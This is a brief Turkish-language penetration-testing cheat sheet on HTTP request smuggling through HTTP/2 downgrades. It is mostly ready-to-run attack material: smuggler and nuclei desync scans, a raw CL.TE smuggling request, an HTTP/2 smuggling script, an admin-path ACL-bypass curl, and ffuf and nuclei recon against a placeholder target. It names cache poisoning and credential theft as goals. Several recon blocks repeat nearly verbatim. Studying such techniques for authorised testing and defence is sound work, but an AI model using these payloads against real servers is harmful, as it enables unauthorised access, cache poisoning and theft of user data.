Request Smuggling in HTTP/2 Downgrades

web smuggling

Request Smuggling in HTTP/2 Downgrades front-end ile back-end’in HTTP mesaj sınırlarını farklı yorumlamasından doğar. Desync ile istek kaçırma, cache poison ve ACL bypass denenir.

Metodoloji

Front-end/back-end parser farkını CL.TE/TE.CL ile test et.
Smuggler/nuclei ile desync sinyali yakala.
Poisoned request ile ACL/cache etkisini göster.
Tekrar üretilebilir PoC kaydet.

Desync tespiti

python3 smuggler.py -u https://TARGET

nuclei -u https://TARGET -tags smuggling -silent

POST / HTTP/1.1
Host: TARGET
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
Transfer-Encoding: chunked

0

G

HTTP/2 downgrade

python3 http2-smuggling.py https://TARGET

H2 request → H1 backend: CL/TE uyumsuzluğu

curl --http2 -sk https://TARGET/ -D -

Etki senaryoları

admin paneli request smuggle, cache poison, bypass ACL, credential theft

curl -sk https://TARGET/admin -H 'Host: TARGET' -H 'X-Ignore: x'

Operasyon notları

Request Smuggling in HTTP/2 Downgrades sonuçları hedef sürüme ve yığına göre değişir. Her başarılı adımı request/response ile kaydet; sonraki pivot’u not et.

Ek komutlar

curl -sk https://TARGET/robots.txt

nuclei -u https://TARGET -as -silent

ffuf -u https://TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,204,301,302,403

GET / HTTP/1.1
Host: TARGET
Accept: */*

mkdir -p evidence/web && tee evidence/web/notes.txt

Bu ekler keşif ve kanıt paketini hızlandırır; asıl sömürü üstteki bölümlerdeki konu-özel payload’larla yapılır.

Ek keşif komutları

curl -sk https://TARGET/robots.txt

curl -sk https://TARGET/sitemap.xml

ffuf -u https://TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,204,301,302,403

nuclei -u https://TARGET -as -silent

GET / HTTP/1.1
Host: TARGET
Accept: */*

Kanıt toplama

mkdir -p evidence/web && tee evidence/web/notes.txt

request/response
zaman damgası
kullanılan hesap
etki özeti

curl -sk https://TARGET/ -D evidence/web/headers.txt -o evidence/web/body.html